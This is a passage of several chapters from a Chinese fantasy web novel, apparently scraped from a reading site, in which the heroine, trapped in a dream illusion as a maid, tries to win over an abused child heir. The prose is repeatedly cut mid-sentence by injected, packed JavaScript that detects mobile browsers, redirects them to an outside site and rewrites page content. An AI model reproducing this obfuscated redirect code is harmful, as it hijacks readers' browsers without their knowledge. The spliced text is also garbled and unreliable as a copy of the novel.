……算了,暂时还是不想那么多了。 眼下最重要的是先从这里出去。 织梦兽说到底不是凶兽,虽然被堕仙征用后凶性大增,但在最初,他们只是以人间的梦为食,有的织梦兽编织美梦,有的则负责编织噩梦。 原著中的梦境满月已经记不清了,只记得一对副CP被安排在同一个梦境,险境之中他们感情进度突飞猛进,大概因为被困在梦境里只有他们两个人,吊桥效应。 不过这无关紧要,因为织梦兽的梦本就是随机,能与原著一样的可能性极低。 织梦兽收集已死之人的梦,利用死气将它们编织成幻境。按照原著的描写,被织梦兽吞没后,会随机进入一个幻境之中,只有替梦境之主完成缺憾,执念去除,得到梦境之主的梦种后才能从中离开。 满月:这我熟。 就跟前世她玩的RPG游戏一样。 梦境之主是试炼任务,梦种是任务奖励。 只是不知道陆宴白掉到了哪里,满月还想着他们能跟原著那对副CP一样在同一个幻境,有他在,通关概率也能更大一些。 满月放下手中的顶棚走了出去,看到两个小侍女坐在庑廊下晒太阳。看到她出来,她们互相给对方使了个眼色,其中一个道:“又下雪了,小世子那院的雪还没扫,你去扫吧。” 满月左右看了看,指指自己:“我?” 小侍女捂嘴笑着,眉眼间闪过几分轻蔑:“不是你还有谁?才来几天,就懒得不想动弹了?” ……怎么来到梦境她拿到的还是个被人欺负的受气包角色! 满月有点无语,但想到当务之急是要寻找梦境主人,又懒得计较。 毕竟她们可能就和指引任务的npc一样,真要计较就显得她太呆了。 屋外飘着细雪,满月裹紧了衣衫。 进入幻境来试炼的人都会被随机分配一个更加贴合幻境现实的身份,并且继承该角色全部的初始设定属性。 她的身份是被签了死契卖进忠顺王府的一个小丫头,名叫桂花,才来没几日,因为生性木讷不善言辞,常常被同事欺负。 她们口中的小世子,指的就是王妃与王爷的长子。 虽是长子,但是从原主的记忆里看,无论是王爷还是王妃,都对他态度冷淡,听人闲聊时说一年里除了某些重大节日,王爷王府几乎不召见他,连带着他们这一院负责照料小世子的下人也备受冷落,一来二去间,但凡有心思的都托关系出去了,留下的都是没门路的,摆烂的摆烂,懈怠的懈怠。 满月趁着无人施了个避雪术,细雪在临近她周身分寸之余齐齐避开。因为怕冷,这是她在三危山学得最好的一样术法。 循着风雪一路走到西院,还没进去,就从月门看到廊桥上站着个小人儿,穿得单薄,没有任何避雪的措施,正踩在阑干上,往下不知道看什么东西。 满月撤去避雪术,走了过去。 这大概就是原主记忆里的小世子了吧。 满月心里有笃定的感觉闪过,她知道这是来自梦境深处的提醒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若是被拆穿她的真实身份,该怕的应该是他这个凡人小孩才对。若是没有被拆穿,横竖四五岁的孩子,也没什么威胁性。 “世子怕是话本子看多了,平日里我经常在这院子里劈柴,殿下怎么会不认得我。”她眨眨眼,面不改色道。 她被分配的任务也多是一些无人愿意做的杂活,不过在这里似乎有个不成文的规定,离小世子越近的活儿越弃之如敝履,只轮得到她这种边缘人,所以尽管才来没几日,原主已经见过小世子好几次,在原主的印象中,小世子不爱讲话,也很少与他们打交道。 小团子仍只是一瞬不瞬盯着她,黑眸寂寂,让人实在看不出他心里在想些什么。 满月只觉得自己的回答无懈可击,甚为满意。 她弯弯唇角,刚要收回视线,却听到小团子又开了口,这次不再是疑问句。 “你,就是妖。” 他语气淡漠道。 50. 050 满月:“……” 这小孩还真不好糊弄。 不过他这样说着,黑眸之中依然不起一丝波澜,好像只是在说一件无足轻重之事。 这就有些不同寻常了。 再怎么早熟,也是凡人之子,当真能聪慧到这种地步。 见他死活不相信她,满月索性随他的意,故意做出要吃他的动作,吓唬他道:“你非要这么说,难道就不怕我真是妖,然后一口把你吞了?” 小团子眼睛都不眨一下,直直望着她:“你会吗?” 满月一下子没反应过来:“什么?” “你会吞掉我吗?” 他讲得太过认真,仿佛在探究一件重要的事,反倒让满月愣了一愣,没了开玩笑的心思。 “……不会。” 小团子似是一点不意外,接着面无表情地追问:“那你是为什么而来?是为了实现我的愿望吗?” “愿望”二字,瞬间让满月警惕起来。 照理来说,梦境之主是不会知道自己身处于梦境之中的,更不可能知道这个设定。 满月不动声色:“你为什么这么问?” 小团子重又将视线投向结了薄冰的湖面:“因为我刚许过愿,你就出现了。” 满月来了兴趣:“什么愿望?” 如果这就能套出他的心愿,那她的任务也完成的太轻松了。很可能还不等跟陆宴白碰面,她就可以先一步离开梦境。 能早点离开,说不定就能避免命魂珠落入陆宴白手中。 满月按捺住呼之欲出的喜悦之情,她清清嗓子,半蹲下来,与小团子一般持平:“我是为你的愿望而来的,能不能告诉我,你刚才许的愿是什么?” 小团子看着她,他长长的睫毛垂下来,没有任何情绪。 满月弯起眼睛,尽量做出一副笑眯眯和蔼可亲的模样,满心满意等待着答案。 然而回答她的只有冷冰冰的两个字—— 小团子:“不能。” 满月的笑容霎时凝固在脸上。 ……? 小团子静静看着她:“我怎么知道你有没有能力帮我实现,除非你先帮我做一件事,如果做成了,再告诉你我的愿望也不迟。” ……还坐地起价了是吧。 满月眼角跳了跳。她拍拍小团子的头,故意吓唬他:“是我在帮你完成心愿,你这么说,就不怕我一个也不帮你实现?” 小团子语无波澜:“可是你也需要我的愿望,不是吗?” 满月这下真的怔住了。 他怎么知道的? 小团子一瞬不瞬地瞧着她,黑眸映着她怔忪的神情。 满月收回放在他脑袋上的手,心里生起了警惕:“……你怎么会知道?” “我猜的。”小团子微微弯了下唇角,像是在笑,但幅度很小,“看来猜对了。” 满月:“……” ……这已经不是智多近妖,照这么小的年纪看,已经是智多近神了吧! 满月有种被降维打击的挫败感。怪就怪她还是看他年纪小以为再有心机也深不到哪儿去,到底是轻视了。 只是这孩子说话,总给她一种熟悉的感觉。 好像似曾相识。 满月忽略掉这股不着边际的感觉,这次她学乖了,尽量不流露出自己的真实情绪,微笑道:“哪件事?” 小团子见她接受得这么快,反而微微讶然了一下。 不过也就一下。 他扬起脸,看向院中光秃秃的树干,伸手指了指。 小团子:“我想看到它开花。” 满月:“……” 祖宗。 她挠挠头,才刚下定要喜怒不形于色的决心立时被打破,面露难色道:“非得这个?” 小团子眼睛一眨不眨:“你做不到?” 满月轻轻叹了口气,她瞧了瞧那光秃秃什么都没有的枝丫,想了半晌,狠狠心:“好吧。” 做不做得到她也不知道,但可想而知是一件有难度的事,若是陆宴白在肯定没问题。 现在她是真情实意有点想念陆宴白了。 如果他们两个掉在一处,这个任务应该好做多了吧。 满月站起身:“你先回去吧,等它开花,我一定让你看到。” 小团子看着她,一言不发。 满月在外面站了这一会儿,没有避雪术,实在是有点冷了。 反而是衣衫单薄的小团子跟个没事人一样。 怪哉怪哉。 满月捏了个避雪术的法诀给他,一来也算是展示下自己的实力,给他个小小的震撼,免得又被他牵着鼻子走,二来倒是有点发自真心,这么小的小朋友,爹不疼娘不爱的,确实有些可怜。 小团子看了看笼罩在周身的柔和又温暖的光,莫名地瞧向她。 “这样雪就落不到你身上了。”满月拍拍手,很是得意。她的术法虽不精,但这种程度还是做得到的。 小团子愣了下,乌黑的眸中难得泛起了几分涟漪,但很快就消散无影了。 送走了小团子,满月盯着光秃秃的枝丫,开始沉思起来。 * 雪下大了。 小团子站在窗边,窗子没有关,窗棂对他来讲有些高,他踩着凳子,勉强才看得见外面。 身上的法诀早已失了效,雪花晃晃悠悠飘进来,他伸出手,雪落在他的指尖,一片冰冷。 他盯着自己的手,感受着这股凉意。 “世子该用膳了。”外面传来了声音。 小团子没动,外面的人显然也只是做做表面功夫,等不到来人,就先退出去了。 屋内的火盆早已熄灭了,却无人添炭,门扉也脱了框,乏人修缮,冷风从缝隙间灌了进来,四面八方皆是寒意。 距他遇到那个奇怪的小妖怪已经过去了一天一夜,不仅树上没有开花,连她也不知所踪。 他在凳子上又站了好一会儿。 反正鬼神祈愿只是他的痴心妄想。 小团子走去外间,案几上的饭菜拿来时就已经凉了,且搁置的时间太久,成色也不太好。 小团子见怪不怪。他没有动碗筷,只是在案几前正襟危坐。 此时又有人进来,是两个小道士,十三四岁的模样,其中一个手里拿着攒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026152|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盒。 “世子殿下。”拿着攒盒的小道士对着他略一颔首,虽是这样称呼,言语间却没有分毫的尊重。 他拿出两盏稠如浓墨的药汁,和饭菜不同,是刚煎好不久的,在这四处漏风的旧屋,飘着股股热气。 小道士将药盏放在案几上就后退一步,在离小团子稍远的地方候着。他们都是这样,既厌恶他,又惧怕他。 小团子眉头都不皱一下就将两盏药汁灌下,苦涩的味道在嘴里蔓延开,他早已习惯。 服了药,他跟着两个小道士离开了房间,路上遇到庑廊下两个偷懒的侍女在闲聊,瞧见来人,她们面上闪过一丝惧意,慌忙起身躲到了一旁。 王府西南一隅建着一座道观,门前有几个身着和小道士一样衣衫的小弟子在扫雪,看到人来,他们眼皮都不掀一下,只默默退到一边,显然是司空见惯。 小道士一路将他引到了主殿前,垂手侍立两侧。 小团子独自上前,推开了那扇又高又重的漆门,屋中的阴影一下子落在了他的身上。 漆门阖上,将身后的日光一并遮蔽在外。 殿内檀香袅袅,三清神像在昏黄的烛光下显得愈发庄严。一位道士立于供台前,身姿挺拔如松,着一袭青色道袍,竟有几分仙风道骨。他仰头注视着面前的神像,面容隐没在阴影之中。 “师父。”小团子低着头,行礼的动作做得极为规整。 “宴白来了。”道士回头,面上带着温和的笑容,宛如看着最疼爱的小辈。那双眼睛尤其特别,瞳孔颜色极浅,近乎琥珀色,此刻盛满了虚假的暖意,却深不见底,让人望之生寒。 小团子站在原地一动不动。 道士伸手摸了摸小团子的头,带着一种几近怜惜的态度,动作优雅得如同拂去花瓣上的尘埃,笑意盈盈道:“今日的药,可乖乖饮尽了?” 小团子点点头。 道士略一颔首,甚为满意。 他转过身,单手掐诀。供台上,三清神像中间那尊玉清天尊神像竟无声无息消失,如同幻影般,仿佛从未存在过,只露出了后面一个幽暗深邃的洞口。腥腐气味从洞口倾斜而出,带着一种令人倍感不安的阴冷死寂之气,四面的烛火纹丝不动,光影却诡异地扭曲了一下。 道士看向身后的小人儿,没有言语,却无声地给出了指示。 小团子迟疑了一瞬,似乎万般抗拒。然而在道士那看似温和,实则充满威压的目光下,他还是拖着仿佛灌了铅的双腿,一步一步慢吞吞走了过去。 近至入口,黑色肉团一样的邪物从中探出头,狰狞的青筋遍布在表面,眼睛是一条缝,看模样应该靠声音和光亮来辨识位置,听到声响,它呲开牙想出来,却被一道无形的禁制灼烧,尖叫一声又逃了回去。 小团子在入口前停住,尽管他还是一如既往地面无表情,但额上密密布着的一层细汗,还是暴露了他心底的恐惧。 道士挥了下手,无形的力量从背后涌入,推着小团子向前。 “去吧。” 他话音一落,小团子身形一晃,跌入了那带着血腥气的极具危险的黑暗之中。 门被阖上了。 51. 051 已经过去了整整两日。 清早的日光透过窗纸洒落进屋内。 小团子安静地躺在床榻上。 两日前刚回来时,他身上布满了被那些东西啃噬的伤痕,有的甚至可见白骨,但如今却已经以肉眼看不见的速度愈合了大半。 怪物。 小团子脑子里闪过一个词。 这时周围人私下里时常用来指代他的称呼。 虽然因为乏于与正常人相处,他并不是很能确定自己究竟在什么地方与其他人不一样,但他模模糊糊清楚,至少在这件事情上,他确实与其他人不同。 他见过其他人受伤的样子,明明只是很小的伤口,却需要很久的时日痊愈。 不像他。 一年前师父还没有来府中时,曾有个嬷嬷照料他。嬷嬷对他很好,和那些总是躲着他的人不一样。直到有次他爬树不小心摔了下来,膝盖受了伤,嬷嬷看到他的伤口愈合,头一次露出了惊恐与惧怕的表情。 后来小团子才知道,那种表情就是在看待一个怪物的表情。 而极强的愈合能力并非没有代价,成倍的痛苦就是其中之一。 他闭上眼。 总有一天,他要杀了那个被他叫做师父的人。 总有一天。 不符合年纪的戾气漫上心头。那股恨意叫嚣着从心间蔓延开,却使得愈合的速度进一步加快。 小团子攥紧了手,忍受着这种非人的痛苦。在暗室时经历的种种再一次浮现在眼前。那种黏腻又丑陋的东西,总是用他们过分锐利的牙齿啃噬着他,他想要躲避,可是太多了,怎么也躲不开。如果不是那个被他叫做师父的人在他身上放了东西,他恐怕早就死了……就像曾经照顾他的那个嬷嬷一样。 好恨。 伴随着越来越强烈的恨意,黑气从他的伤口处弥散而出,似乎以一种无形的方式吞噬着他的心。 就在这时—— 窗边传来了叩击的声响,在寂静中十分清晰。 小团子倏然睁开了眼。 黑气散去了。 “笃笃笃”。 又一声。 不是幻觉。 小团子清醒过来,想起了前两天发生的事。 会是她吗?那个来历莫名的小妖怪。 他早就不记得这件事了。反正是心血来潮,他并不抱希望。 虽然这样想着,小团子还是费力地跳下床。他忍着痛挪动到窗边,以极其缓慢的速度爬上凳子。甫一支开窗子,刺骨的寒风瞬间灌入。 小团子没忍住瑟缩了下,裹紧了身上的单薄衣衫。 外面又落了雪,白茫茫的一片。 有个少女站在雪地里,穿着和府中其他下人一般无二的衣裳,长得也很平平无奇,但不知为何,小团子却觉得她有双很漂亮的眼睛,大概是因为它很亮,他从来没见过身边的人有这样一双亮晶晶的眼睛,像是怀抱着永不枯竭的希望。 与他恰恰相反。 小团子静静注视着她,没有说话,乌黑的眼眸深不见底。 明明对方只是个小不点,但不知为何,面对着他,满月总是莫名有点紧张。 大概是上一次的交手让她实在印象太过深刻。 别看这只是个孩子,恐怕寻常的大人十个加起来也没他一个心眼多。 “你醒了吗?我没吵到你吧?”满月友好地询问。 然而小团子没有回答,仍只是一瞬不瞬盯着她,像是有些无语。 小屁孩。 满月克制住想要揉他脸把他这一脸臭屁表情破坏的冲动,抬手指了指身后:“那边。” 她侧开身,小团子闻言瞧向她的身后,院子里那棵光秃秃的树,依旧光秃秃地立在那里,看起来和两天前没有任何不同。 他蹙了下眉,有些不解。 “别着急,我现在让它开给你看。”满月道。 照理来说,想让花树在冬天开花对于懂术法的人来说不是一件难事,但对于她这样一个妖脉断绝的废物来说,难度不要太大,她试了整整一天,才终于琢磨出一些门道来。 可惜她妖力细微,能维持的时间到底太过短暂,所以只能用这样的方式展现给他。 “别眨眼睛,你要看好了哦。”满月叮嘱了两句,在小团子忍无可忍就要阖上窗子前,她跑到了那棵枯树旁。 正落着雪,树木枝丫上积了厚厚一层。 满月仰头看了眼枯枝,而后深吸一口气,凝聚全身的力量,将手放在了树干上。 她郑重其事地闭上了眼。 一股极其微弱的、带着草木清气的暖意,从她掌心悄然弥漫开来,悄无声息地渗透进冰冷的冻土。 风雪声中,四周的一切都很寂静。 小团子站在凳子上,静静瞧着不远处。 不知过了多久,一切无事发生。 小团子心中一点微妙的期待落了空。正在此时,一点极其微弱,几乎是难以察觉的嫩绿色,从枝丫间冒了出来。 小团子略有些惊讶,他正要怀疑只是错觉,就看到那点嫩绿以不可思议的速度向上延伸,真的长出了茎秆与幼叶,厚厚的积雪纷纷扬扬被顶落下来。 枝叶以不正常的极快速度生长。 就像他还在愈合的伤口。 小团子一动不动,面上也没有丝毫的表情,手却因为看到了这奇迹的一幕而有些发抖。 叶子很快长成,茎秆顶端探出了花苞,只是花苞在凛冽的寒风中微微颤栗,看上去摇摇欲坠,脆弱不堪。 满月此时差不多已快力竭,她指尖微微颤抖,似乎在承受着某种巨大的消耗,随着枝叶越长越茂密,呼吸变得急促起来,脸色也苍白了几分。 再坚持一下,就一下。 满月咬咬牙。知道不能倒在这一步,她努力集中精神,覆在树干上的双手愈加用力,指节都泛了白,将那股带着生命气息的暖意更加集中地导向脆弱的花苞。 终于—— 一朵,两朵,三朵…… 一树的玉兰花都绽放开。 满月睁开眼,看着自己费心准备了许久的杰作,甚为满意。她拍拍手上的灰尘,全然沉浸在自己的艺术中,一时都没察觉到小团子的异样。 虽然笨了点,这已经是她所有能想到的方法中最有效的一个。 “怎么样?”满月回头看向小团子。 小团子从窗子里跳出来,浑然不顾身上的伤痕,径直走到玉兰花树下,仰头瞧着,十分专注。 一树的繁花倒映在他乌黑的瞳中,与周遭越来越大的风雪形成一种奇异的对比。 然而这奇景并没有坚持多久,下一刻,枝头的玉兰就忽然如幻术般四散而开,飘落一地。 满枝头的玉兰花在顷刻间消散。 满月怪不好意思的,挠挠头:“我只能做到这样了。” 小团子伸出手,散落的花瓣落在他的手中,变作了雪花。 满月自认算是过了这一关。她真有种像玩RPG游戏的感觉,迫不及待瞧向身边的小人儿,等待他颁布新的游戏任务:“可以了吧?现在你能够告诉我你真正的心愿……” 她话还没说完,忽然停了下来。 因为她看到了他的手臂。 半条胳膊,鲜血淋漓,隐约可见白骨。 满月愣住了。 是的,她没有看错。 她单纯以为这小孩就是在府中不得宠,没想到竟然过得这么惨,这些伤口,可不是一句不小心就能解释的…… 但很快满月发现不对劲。 因为他的伤口,正在以肉眼可见的额极快速度愈合。 织梦兽编织的梦境,并不是光怪陆离的天马行空,而是处处都与梦境之主现实遭遇对得上,这绝不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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没吃过猪肉但见过猪跑,以前在三危山,也时不时会有闯山的除妖师和犯了错的妖被度母阴司惩戒,有的灰飞烟灭再也不见踪影,有的运气好些留个尸首被丢弃在后山,有些小妖生性顽皮跑去偷瞧,满月小时候也跟着去过两三次,那些人身上就有着和小团子现在一样的伤口,长大后满月才后知后觉那很可能是被阴煞撕咬留下的。 满月的心不禁凉了半截。 如果真的是那玩意儿,而梦境之主的愿望是她去干掉阴煞…… 她大概率也是活不下来了。 小团子脸上那古怪的笑容褪去,又恢复了平日里的面无表情。他垂眸,瞧向她牵着自己的那双手,很温暖,只是有点粗糙,像是常年做粗活结下的茧子。 像嬷嬷。又有点不太一样。 满月见对方不回答,心一横,咬咬牙,干脆问了个明白:“你还没告诉我,你那天许下的愿望究竟是什么?” 小团子眼睛眨了眨。可不知为何,嬷嬷死时的模样毫无征兆地浮现在他眼前。 那是一个红色的画面。他只记得有温热的东西溅在自己的脸上,那个被他叫做师父的男子笑吟吟瞧着他,问他“世子殿下,感觉如何”? 小团子猛然抽回了自己的手,就像被什么东西灼烧,一下回过神来。 他重又看向她,只是这一次,花开时眼中一闪即逝的希冀与光亮如昙花一现般消失得无影无踪,有的只是一片深不见底的漆黑。 “算了。” 满月一怔。 “你办不到的。”他道。 满月听他这么讲,心沉了下去。 但她还是有点不甘心:“你总得先告诉我是什么,我才知道我能不能办得到吧?” 小团子没有回答,他瞧向她,乌黑的眼眸一片淡漠,适才的种种情绪如同镜月水花,早就消失不见,又恢复成了他们一开始遇见时的疏离。 “可是才不过几朵花,你就被耗得站不稳了。”小团子的语气天真又残忍,宛如一个一心只知道说实话的孩子,毫不留情地刺中她的要害,“你太弱了。” 言罢,也不管她是什么反应,小团子掉头就走。 满月留在原地,茫然地看着那个瘦小单薄的身影进了房间,这一次她忘了用避雪咒,任凭雪落了满身。 52. 052 满月双手抱膝坐在空无一人的耳房内,这是低等下人住的房子,没有地暖和火龙,破旧的木门被寒风吹得吱呀作响。 烦闷。 很是烦闷。 虽然那死小孩说的也算是事实,满月还是有种受伤的感觉。 早这么说,她也不用费心去让什么枯树开花了啊! 满月将脸埋在臂弯之间,深深吸了口气。 门咯吱一声被推开。 满月抬起头,外面的光亮冷不防落进来,刺得她眯了下眼。 进来的是和她同屋住的侍女,见房中有人,她反倒吓了一跳,捂着胸口后退一步:“你怎么躲在这里偷懒啊,吓死我了。” 满月不想浪费时间在NPC身上,何况原主和她们的关系也不算融洽,反而在其中备受排挤,所以进入梦境几日,她对她的了解还仅限于只知道她的名字是彩云,在小世子院中的一众下人里,原主待遇排最末,她排倒二,虽然差不了太多,但毕竟还是高了一些,所以每每见到满月,她都有点莫名其妙地趾高气昂。 彩云见她不回答,也不恼,用手里的扫帚戳戳她,颐指气使:“正好,今天那位的饭还没送,你去跑一趟吧。” 彩云口中的那位,正是指那个奇怪的小世子。 满月这几日都在忙枯树开花的事情,并没有像以前玩游戏一样先闲逛打听消息,且原主也不是很受待见,这些人闲聊都躲着她,她对府里的事更是只有一知半解。 尽管如此,她还是从原主的记忆中得知,这些下人对本该是主人的小世子不仅没有分毫尊重,反而有着相当微妙的厌恶,在所有差事中,与小世子近身打交道是所有人最不想要的。所以她和彩云,一个负责小世子院中的杂活,一个负责给小世子送饭。 满月原先以为这个梦境非常简单,没怎么用心,现在看来直接的方式到底行不通,还是得迂回行事。 首先她得搞清楚目前究竟是什么情况。 满月乖乖应了声,站起身来。彩云见她这次这么听话,很是满意。 “彩云姐姐,为什么我看府里的其他人,似乎都有些,有些忌惮那位?”满月没有立即动身,而是接过侍女手中的扫帚,先问了个问题。 彩云瞧了她一眼,有点惊奇。原主进府的时间不长,这么问情有可原,怪就怪在她平常都是闷闷的不爱讲话的性格,这么套近乎实在有点反常。 “忌惮什么忌惮,这话也是你我能随便讲的?”彩云没好气地翻了个白眼,显然是不想多费口舌。 满月倒是不在意,她在三危山遭受的冷遇多了去,这点程度的冷淡还算不了什么。 她默默转过身,走到靠墙那个掉漆的木箱前,俯身在里面窸窸窣窣地翻好一会儿,才找出一小包用粗麻布裹着的地瓜干和一小袋瓜子。 满月走到彩云面前,双手递过去,脸上带着怯意又讨好的笑容,眼神却有些躲闪,既维持了原主那木讷内向的人设,又巧妙地示了好。 “哟,今天刮的什么风,你这木头也有转性的一天?”彩云看着突然摊在自己面前的一堆吃食,眼神里的冷硬不由得松动了几分。她瞥了眼屋外,见日头尚早,也不急着催促她去送饭,顺势在旧木桌边坐下,嗑起了瓜子。 吃人嘴短拿人手软,何况又同住一屋,整日抬头不见低头见。原先是因为原主那副三棍子打不出个闷屁的倔强性子,如今她主动递了台阶,彩云自然也没必要再端着架子为难她。 “你呀,这榆木脑子也算是开窍了一回。”彩云一面熟练地吐着瓜子壳,一面斜睨着满月,语气缓和了不少,带着点过来人的优越感,“你来的时日短,不懂这府里的水深火热,性子又像茅房的石头又硬又臭,也难怪前院的管事嬷嬷把你打发到我们这不见天光的地界来熬日子。” 满月装出一副懵然无知的表情:“姐姐这话是什么意思?” 彩云看着她那副不开窍的样子,摇了摇头,吐了口瓜子壳,才压低了声音接着道:“你只需记着,要想在这府里安安稳稳地待下去,手脚麻利少出错是一样,更重要的,是离那位远些,越远越好!” 言罢,她想起自己刚刚才将给小世子送饭这烫手山芋推给了满月,脸上掠过一丝不易察觉的尴尬,有些不自在地清了清嗓子,才又强装出若无其事的样子,补充道:“当然了,你也不必那么紧张,送个饭而已,快去快回,别多事别多嘴就是了。” 满月装作没发现她的小心思,眨了眨眼,木讷讷地继续问:“为什么?” “哪有那么多为什么。”彩云被她问得有些烦了,正要随便打发她,余光扫见桌上还没吃的地瓜干后,又硬生生止住了脾气。 “算了算了。我就和你说一说吧。”彩云凑近了她,神秘兮兮压低了声音,“那位……有点怪。” 语毕她顿了顿,似乎在斟酌用词,又像是在观察满月的反应:“我和你讲的这些,你可千万得烂在肚子里,一个字都不能对旁人说,否则……”她做了个抹脖子的动作,眼神里带着警告。 满月立刻用力地点点头,脸上适时地露出既紧张又好奇的神色,身体微微前倾,一副洗耳恭听的模样。 虽然她觉得能被彩云知道的事,恐怕阖府上下没有几个是不知晓的。 “小世子他……”彩云的声音压得极低,几乎只剩气声,在这寂静的小屋里却显得格外清晰刺耳,带着一种诡秘的寒意,“根本就不是个正常人,有人说,他是个……怪物。” 满月心里咯噔一下,面上却不露声色,仍旧维持着自己木头的人设,磕巴道:“这是,这是什么意思?” 彩云啧了一声,瞧她的眼神愈加恨铁不成钢,但看在地瓜干和瓜子的份上,还是和她从头说来。 小世子,这三个字在王府里,向来是下人们心照不宣、讳莫如深的存在。听闻他自呱呱坠地起,府中怪事一件接着一件发生,连带着伺候的乳母也接连病倒,当时府中就有人传,小世子八字不好,许是邪祟缠身。 或许正因为这些诡谲之事,王爷王妃才对这个唯一的嫡长子异常冷淡,甚至隐隐透着疏离与忌惮。 两年前,王妃不知受了什么触动,忽然开始虔诚信佛,自此再不理会府中琐事,对小世子更是置若罔闻,整日闭门诵经礼佛,鲜少踏出小佛堂。也因此,小世子的境遇雪上加霜,被放养在王府最偏僻的院落,贴身服侍的下人们因着种种传言,也不敢太过靠近小世子,反正明眼人都看得出王爷王妃对小世子的厌弃,纵然是轻待,也不会有人来追究。 这样的日子一直持续到一年前,府里突然来了个道士,不知在书房里与王爷密谈了些什么,之后便堂而皇之地在府中住了下来,名义上做了小世子的师父,实则更像一种古怪的看管。 “要我说啊,那些传出来的怪事恐怕还只是最不要紧的一部分,真正厉害的,除了王妃身边的大丫鬟,恐怕没几个人知道了。”彩云拍拍手上的碎渣,“那位出生后,府里上上下下都不知道换了几批人,若不是真有什么见不得人的事情,怎会如此小心。” 语毕,彩云才后知后觉自己跟满月说得有点太多了。她摆了摆手,与满月拉开了距离后,又不放心地叮嘱了她一遍:“我也是看在你是个实诚人才同你讲这些。这些话你就自己烂在肚子里,且不可再对第二个人讲起。” 满月从彩云的话中得到了许多信息,听彩云这样讲,她也只是心不在焉地应了一声。 这个梦境,似乎比她想象中更为棘手。 “时候不早了,你快去给那位送饭吧。”彩云将桌上吃剩下的瓜子和地瓜干收好,小心翼翼放进了自己的木箱。 满月依言去了小厨房。厨房里一个人都没有,只有一早备好的膳食装在攒盒之中,没有任何的保温措施,满月用手摸了下外壁,发现一片冰凉。 唉,也是个可怜孩子。 听彩云讲完那些事,再联想起自己的遭遇,满月没办法完全无动于衷,多少还是起了些恻隐之心。她犹豫了下,将攒盒中的吃食一样样拿出来在灶上热过,才带去小世子的院子。 一如之前,小世子住的院子是人最少的地方,院前的雪扫了一半,没扫完就堆置在一旁,想必是负责打扫的人做到半途就跑去偷懒了。 满月轻手轻脚走到正房前,唤了一声世子殿下,见没人回答,就推门入内。 屋内没有生火,又因为照不进日光,竟比屋外还要阴冷一二分。 怪不得小团子总是衣衫单薄不见冷,原来是练出来了。 “世子殿下。”满月又叫了一声,“该用膳了。” 没有人应。 满月也不急,就安安静静等在那里。 不知过了多久,里间的帘子才被打起。小团子从中走了出来,看见送饭的人是满月,不觉怔了一怔。 满月佯装之前的不愉快没有发生过,将攒盒内的吃食一样样拿出来放在案几上。 小团子站在原地没有动,乌黑眼眸一如既往平波无澜,只是深深看着她。 满月没有理会他的不解和打量,只找了一圈找到了火盆,加了炭生起火,没料到烟一下子扑腾了上来,呛得她咳嗽起来。 这炭未免也太差劲了。 纵然早就从彩云嘴里知道下人如何轻慢,满月还是一次一次被刷新了认知下限。 满月将火盆移到最外侧的角落,将烟扑走,一抬头,却见小团子还在瞧着她,只是表情极为难得有点……一言难尽。 “怎么了?”满月蹭了蹭自己的脸,见他挑了下眉,她忙寻来落了灰的铜镜,镜子好久没被打磨,看得不甚清晰,但她还是从中发现自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046726|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹭了一脸黑。 满月自己倒不是很介意,用手擦了擦,结果越擦越脏。 她打算之后再去处理,一转头,却发现有一张帕子被递到了面前。 小团子没有看她,只是将帕子塞进了她的手里,随后便默默坐下来吃起饭来。 饭是热的。 小团子愣了愣,冰冷的手捧在瓷碗外壁,极为难得感受到暖意。 入冬之后,他就没怎么再吃过热食。 满月也是一怔。帕子很干净,还散发着皂角的香气,只是洗的都有些发白了,想来已经用了很久。 他的境遇比她想象中还要更糟糕。 满月说了句谢谢,对着铜镜将脸上的黑灰擦干净。 小团子倒是一句话都没讲,只安安静静用膳。他吃饭的模样很是文雅,慢条斯理,不疾不徐,冷不丁让满月想起一位故人。 满月摇摇头,将不切实际的联想抛诸脑后。 按照原著的设定,织梦兽只会收集编织已死之人的梦境,怎么样也不可能是那个人。 小团子紧一言不发,满月便也保持着沉默,耐心地守在一旁。 火盆中昏黄的火光在室内摇曳,将两人的身影拉长,投在墙壁上。 满月心中已然明晰,此刻急躁无用,若要达成梦境之主的托付,首要之事,便是让眼前这个戒备心十足的小团子先卸下心防。 小团子安静地用完了最后一口饭食,端起备在一旁的温润茶水,小口地漱了漱,动作带着一丝不符合年龄的规整。 放下茶盏,他抬起头,目光恰好撞上仍侍立一旁的满月,眉梢不禁微微动了下,像是在说“你怎么还在这里”。 满月已经打定主意这次走迂回路线,她佯装没看见小团子对她的疏离,只手脚麻利地开始收拾案几上残余的冷羹剩饭。 